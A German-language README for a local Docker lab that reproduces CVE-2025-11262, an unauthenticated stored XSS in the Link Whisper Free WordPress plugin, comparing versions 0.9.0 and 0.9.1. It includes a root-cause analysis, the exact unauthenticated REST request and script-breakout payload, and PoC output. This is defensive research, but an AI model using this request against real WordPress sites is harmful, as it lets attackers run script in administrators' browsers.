
# Docker-Lab zur Reproduktion von CVE-2025-11262, einer nicht authentifizierten gespeicherten Blind-XSS-Schwachstelle im Link Whisper Free WordPress-Plugin. Enthält verwundbare und gepatchte Zielsysteme, PoC-Skript und Root-Cause-Analyse.
Dieses Repository enthält ein lokales Docker-Labor zur Reproduktion von CVE-2025-11262, einem nicht authentifizierten, gespeicherten Cross-Site-Scripting-Problem, das das WordPress-Plugin Link Whisper Free betrifft.
Das Labor vergleicht zwei Plugin-Versionen:
| Dienst | Plugin-Version | Zweck | URL |
|---|
vuln | 0.9.0 | Verwundbares Ziel | http://127.0.0.1:8081 |
patched | 0.9.1 | Gepatchtes Vergleichsziel | http://127.0.0.1:8082 |
Die demonstrierte Schwachstellenkette ist:
Unauthenticated REST request
→ attacker-controlled user_id is persisted
→ a privileged WordPress user opens the Link Whisper AI Subscription page
→ the stored value is rendered into an admin JavaScript context
→ alert("CVE-2025-11262-LAB") executes on the vulnerable version
Der Angreifer muss nicht angemeldet sein, um die gespeicherte Nutzlast zu platzieren. Das JavaScript wird später ausgeführt, wenn ein privilegierter WordPress-Benutzer die betroffene Admin-Seite öffnet.
Dieses Labor ist ausschließlich für kontrollierte lokale Forschung, das Verständnis auf Quellcode-Ebene und Demonstrationszwecke im Portfolio gedacht.
| Behauptung | Beleg | So überprüfen Sie es in diesem Labor |
|---|---|---|
Link Whisper Free 0.9.0 ist verwundbar. | Öffentliche Advisories identifizieren Link Whisper Free-Versionen bis einschließlich 0.9.0 als betroffen. | Führen Sie den PoC gegen http://127.0.0.1:8081 aus und öffnen Sie die ausgegebene Admin-URL. |
Link Whisper Free 0.9.1 enthält den Fix. | Öffentliche Advisory- und Changelog-Daten identifizieren 0.9.1 als gepatchte Version. | Führen Sie denselben PoC gegen http://127.0.0.1:8082 aus; es sollte kein Alert erscheinen. |
| Das Platzieren der Nutzlast erfolgt ohne Authentifizierung. | Der PoC sendet eine POST-Anfrage ohne WordPress-Cookies, Login oder Nonce. | Prüfen Sie poc/poc.py; es benötigt nur --url. |
| Der sichtbare Effekt wird im WordPress-Adminbereich ausgelöst. | Der gespeicherte Wert wird gerendert, wenn die Link-Whisper-KI-Abonnement-Seite von einem privilegierten Benutzer geöffnet wird. | Führen Sie den PoC aus, melden Sie sich dann als Admin an und öffnen Sie die ausgegebene Admin-URL. |
Das gepatchte Ziel kann auf HTTP-Ebene weiterhin "ok" zurückgeben. | Lokale Tests zeigten, dass beide Ziele "ok" zurückgeben können; der bedeutsame Unterschied ist, ob die Nutzlast gespeichert und ausgeführt wird. | Vergleichen Sie das Browserverhalten auf 8081 und 8082. |
Dies ist der Abschnitt Zusammenfassung der Grundursache zum Ersetzen im README. Er ist public-safe, erwähnt keine internen Dateien wie vuln_detail.txt und basiert auf dem Labor/Quellcode, den Sie derzeit verwenden.
CVE-2025-11262 wird durch eine gespeicherte JavaScript-Injektionskette in Link Whisper Free 0.9.0 verursacht.
Das Problem ist nicht ein einzelner fehlender Escaping-Aufruf. Es ist eine Kette mehrerer unsicherer Verhaltensweisen:
Unauthenticated REST endpoint
→ insufficient validation of user_id
→ persistent storage in wpil_ai_access_user_id
→ unsafe rendering into an admin JavaScript context
→ stored XSS when a privileged user opens the AI Subscription page
Link Whisper Free registriert einen REST-Endpunkt für die KI-Authentifizierung unter dem REST-Namespace des Plugins:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
Der Endpunkt wird als POST-Route registriert:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
Da der Permission-Callback __return_true ist, ist der Endpunkt ohne Authentifizierung erreichbar.
Im Labor lautet der effektive Endpunkt:
/wp-json/link-whisper/ai-auth
Das bedeutet, dass ein nicht authentifizierter Angreifer eine Anfrage an den Endpunkt senden kann, ohne eine WordPress-Sitzung, Nonce oder ein Administrator-Konto zu besitzen.
In Link Whisper Free 0.9.0 liest der Handler vom Angreifer kontrollierte Parameter aus der REST-Anfrage:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
Das verwundbare Verhalten ist die schwache Validierungsbedingung:
if(!empty($token) && false !== strpos($token, 'ai-')){
Diese prüft nur, ob das übermittelte Access-Token die Zeichenkette ai- enthält.
Es gibt keine strikte Validierung von user_id, bevor es gespeichert wird:
update_option('wpil_ai_access_user_id', $user_id);
Dadurch kann vom Angreifer kontrolliertes JavaScript in der WordPress-Options-Tabelle gespeichert werden.
Der vom Angreifer kontrollierte Wert user_id wird in der WordPress-Option gespeichert:
wpil_ai_access_user_id
In diesem Labor sendet der PoC die folgende nur-lokale Nutzlast:
</script><script>alert("CVE-2025-11262-LAB")</script>
Auf dem verwundbaren Dienst wird die Nutzlast als Wert von wpil_ai_access_user_id gespeichert.
Der Angreifer muss nicht angemeldet sein, um die Nutzlast zu platzieren. Die Nutzlast wird über den nicht authentifizierten REST-Endpunkt platziert.
Der gespeicherte Wert wird später über die Plugin-Einstellungslogik abgerufen:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
Der Wert wird $ai_id zugewiesen und in die Admin-Seite für KI-Abonnements gerendert.
In Link Whisper Free 0.9.0 wird der Wert direkt in einen JavaScript-String eingefügt:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
Da $ai_id nicht escaped wird, bevor es in den JavaScript-Kontext eingefügt wird, kann eine gespeicherte Nutzlast aus dem vorgesehenen String ausbrechen und JavaScript ausführen, wenn die Admin-Seite geöffnet wird.
Mit der Labor-Nutzlast wird die verwundbare gerenderte Ausgabe äquivalent zu:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
In einem Browser beendet das injizierte schließende </script>-Tag den ursprünglichen Skriptblock, und der injizierte <script>-Block wird ausgeführt.
Die Nutzlast wird von einem nicht authentifizierten Angreifer platziert, aber für die Ausführung muss ein privilegierter WordPress-Benutzer die betroffene Admin-Seite öffnen:
/wp-admin/admin.php?page=link_whisper_ai_subscription
In diesem Labor wird die betroffene Seite als WordPress-Administrator geöffnet, um den Alert-Dialog auszulösen.
Dadurch handelt es sich um ein nicht authentifiziertes gespeichertes XSS, das authentifizierte WordPress-Administratoren oder privilegierte Benutzer angreift, die auf die Admin-Seite für Link-Whisper-KI-Abonnements zugreifen können.
Link Whisper Free 0.9.1 fügt eine strengere Validierung hinzu, bevor die KI-Authentifizierungswerte gespeichert werden.
Der gepatchte Handler verlangt, dass Token und Benutzer-ID strengen Formaten entsprechen:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
Die wichtige für user_id hinzugefügte Validierung ist:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
Dies verhindert, dass beliebiges JavaScript als KI-Benutzer-ID gespeichert wird.
Version 0.9.1 escaped den Wert außerdem, bevor er in den JavaScript-Kontext gerendert wird:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
Der Patch entschärft das Problem daher an zwei Punkten:
Input validation before persistence
Output escaping before JavaScript rendering
Das Labor bestätigt den Unterschied zwischen 0.9.0 und 0.9.1.
Auf Link Whisper Free 0.9.0:
POST /wp-json/link-whisper/ai-auth
→ returns "ok"
→ stores the payload in wpil_ai_access_user_id
→ opening the AI Subscription admin page triggers alert("CVE-2025-11262-LAB")
Auf Link Whisper Free 0.9.1:
POST /wp-json/link-whisper/ai-auth
→ may still return "ok"
→ does not store the payload
→ opening the AI Subscription admin page does not trigger an alert
Die HTTP-Antwort allein reicht nicht aus, um festzustellen, ob das Ziel verwundbar ist, da beide Versionen "ok" zurückgeben können. Der bedeutsame Verhaltensunterschied besteht darin, ob die Nutzlast gespeichert und später im Admin-JavaScript-Kontext gerendert wird.
Das Labor betreibt zwei isolierte WordPress-Instanzen und zwei separate MySQL-Datenbanken über Docker Compose.
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
Der Docker-Entrypoint übernimmt automatisch Folgendes:
Standard-Anmeldedaten des WordPress-Administrators für beide Dienste:
admin / AdminPassw0rd!
Labor bauen und starten:
docker compose down -v
docker compose build --no-cache
docker compose up -d
Container überprüfen:
docker compose ps
Erwartete exponierte Dienste:
Vulnerable target: http://127.0.0.1:8081
Patched target: http://127.0.0.1:8082
Sie können auch die Setup-Logs ansehen:
docker compose logs vuln patched
Ein erfolgreiches Setup sollte Link Whisper in jeder WordPress-Instanz als aktiv anzeigen.
Führen Sie den PoC gegen den verwundbaren Dienst aus:
python3 poc/poc.py --url http://127.0.0.1:8081
Der PoC sendet diese nur-lokale Nutzlast über den nicht authentifizierten REST-Endpunkt:
</script><script>alert("CVE-2025-11262-LAB")</script>
Nachdem das Skript ausgeführt wurde, öffnen Sie die ausgegebene Admin-URL in einem Browser und melden Sie sich an mit:
admin / AdminPassw0rd!
Auf dem verwundbaren Dienst sollte der Browser einen Alert mit folgendem Inhalt anzeigen:
CVE-2025-11262-LAB
Zum Vergleich führen Sie denselben PoC gegen den gepatchten Dienst aus:
python3 poc/poc.py --url http://127.0.0.1:8082
Öffnen Sie dann die ausgegebene Admin-URL für den gepatchten Dienst. Es sollte kein Alert ausgelöst werden.
Verwundbares Ziel:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
Gepatchtes Ziel:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
Die HTTP-Antwort allein reicht nicht aus, um festzustellen, ob das Ziel verwundbar ist. Der wichtige Unterschied ist das Browserverhalten, nachdem der privilegierte Benutzer die betroffene Admin-Seite öffnet.

Vorgeschlagenes Screenshot-Ziel:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
Der Screenshot sollte den Browser-Alert mit folgendem Inhalt zeigen:
CVE-2025-11262-LAB
Der PoC ist bewusst klein gehalten und benötigt nur eine Ziel-URL:
python3 poc/poc.py --url http://127.0.0.1:8081
Er sendet eine POST-Anfrage an:
/wp-json/link-whisper/ai-auth
mit den folgenden Formularfeldern:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
Auf dem verwundbaren Dienst wird der gespeicherte Wert später in die KI-Abonnement-Seite gerendert. Wenn ein Administrator diese Seite öffnet, wird das JavaScript ausgeführt.
Auf dem gepatchten Dienst sollte dieselbe Nutzlast keinen Alert auslösen.
Plugin-Versionen überprüfen:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
Überprüfen, ob der verwundbare Dienst die Nutzlast gespeichert hat:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
Erwarteter verwundbarer Wert:
</script><script>alert("CVE-2025-11262-LAB")</script>
Gepatchten Dienst überprüfen:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
Erwartetes gepatchtes Verhalten:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
Zugriffslogs des REST-Endpunkts überprüfen:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
Aktualisieren Sie Link Whisper Free auf 0.9.1 oder neuer.
Der Patch verhindert, dass diese Labor-Nutzlast gespeichert und gerendert wird, indem er strengere Validierung und sicherere Ausgabebehandlung rund um den betroffenen KI-Authentifizierungsablauf hinzufügt.
Für Produktionsumgebungen sollten Sie außerdem erwägen:
Container, Netzwerke und Volumes stoppen und entfernen:
docker compose down -v
Lokal erstellte Images bei Bedarf entfernen:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
Dieses Labor dient ausschließlich der lokalen Sicherheitsforschung und kontrollierten Demonstration.
Führen Sie den PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine Testberechtigung haben.
Verwenden Sie in diesem Labor keine echten Anmeldedaten, Produktionsgeheimnisse oder externen Callbacks.
Der PoC verwendet absichtlich einen sichtbaren alert()-Marker als Screenshot-Nachweis. Er enthält keine Nutzlasten für den Diebstahl von Anmeldedaten, Session-Diebstahl, Persistenz über das Labor hinaus oder automatisierte Administrator-Aktionen.
GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence: Link Whisper Free Eintrag in der Schwachstellen-Datenbank
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
WordPress.org Plugin-Verzeichnis: Link Whisper Free
https://wordpress.org/plugins/link-whisper/
WordPress.org-Plugin-Paket, das vom verwundbaren Labor verwendet wird
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
WordPress.org-Plugin-Paket, das vom gepatchten Labor verwendet wird
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
WordPress-Plugin-Quellcode-Browser: Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
WordPress-Plugin-Quellcode-Browser: Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
WordPress-Plugin-Quellcode-Browser: Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
WordPress-Plugin-Quellcode-Browser: Link Whisper 0.9.1 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php